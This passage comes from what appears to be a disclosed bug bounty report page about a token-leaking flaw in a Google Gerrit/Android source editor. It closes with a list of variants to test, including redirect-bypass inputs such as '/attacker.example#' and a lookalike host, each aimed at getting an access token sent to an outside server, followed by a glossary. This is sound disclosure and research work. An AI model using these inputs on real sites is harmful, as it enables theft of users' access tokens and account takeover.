The report is not aware of a way to exploit that usage, since it does not use OAuth, but OAuth can be forced with the enable-gis URL parameter. The report also points to a Gerrit feature, plugins.allowRemoteAdmin, that could possibly be exploited to run code (RCE, remote code execution) with a jar file if used with the correct token.

Fix

The report does not describe the fix that was applied.

Variants to test

  1. Any client-side redirect or link parser that checks new URL(x).origin but then pulls a host out of the full string with a regex. Try adding /attacker.example# or ?attacker.example# after a legitimate path and see whether the redirect target changes while the origin check still passes.
  2. The same editor on other hosts (ci.android.com/edit and any internal copies). A positive result is the same token-bearing request arriving at your server.
  3. The embed version with enable-gis forced on. A positive result is an OAuth token request to your origin from the embedded editor.
  4. Lookalike origins such as gsource[.]co in the same parameter position, to test whether the matcher accepts them. A positive result is a request to the lookalike host carrying the token.
  5. A receiving server without CORS headers. A positive result is the token turning up in your logs even though the browser reports a CORS failure.

Glossary

  • Access token: a short string that proves a user granted a site permission; whoever holds it can act within its scope until it expires or is revoked.
  • API: an interface that lets one program ask another to perform actions, usually over HTTP.
  • Bug bounty programme: a scheme where organisations pay people who report security problems responsibly.
  • CORS: browser rules that stop a page from reading replies from another origin unless that origin sends permission headers.
  • CSS class: a label attached to an HTML element that controls how it is styled; here it was a place where attacker text could be injected.
  • DevTools: the browser's built-in inspection panel, including a Network tab listing requests.
  • Fragment: the part of a URL after #, normally handled by the browser and not sent to the server.
  • Gerrit: Google's web-based code review system for Git repositories.
  • Git: a version control system that tracks changes to files.
  • HTTPS / TLS: the encrypted version of HTTP, using certificates to prove a site's identity.
  • JSON: a text format for structured data, made of objects, lists and values.
  • Node.js: a program that runs JavaScript outside a browser, often used for servers.
  • OAuth: a way for a site to get limited permission to act for a user without seeing their password.
  • Origin: the scheme, host and port of a URL, such as https://android.googlesource.com.
  • Path: the part of a URL after the host, such as /platform/build/.
  • Percent-encoding: writing special characters in a URL as % plus a code, such as %2F for /.
  • PoC (proof of concept): a small working demonstration that a bug is real.
  • Port: a number that picks which service on a server a connection is for, such as 1337 or 1338.
  • Query string: the part of a URL after ?, carrying named settings.
  • RCE (remote code execution): making a server run code the attacker chose.
  • Regex (regular expression): a compact pattern for matching text.
  • REST API: an API organised around HTTP methods and addresses, where GET reads and PUT updates.
  • Scope: the list of permissions attached to an OAuth token.
  • Supply chain attack: tampering with the process that builds or approves software, so malicious changes look legitimate.
  • URL: the address of something on the web.
  • XSSI: a trick where a page tries to read another site's JSON as a script; the )]}' prefix is a guard against it.

More by NDevTK

View all

31 more disclosed reports, best first.

More from Google

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

OAuth and single sign-on flaws

The lesson behind this report.

Mistakes in OAuth, OpenID Connect, SAML or token handling that leak codes and tokens or link an attacker's identity to a victim's account.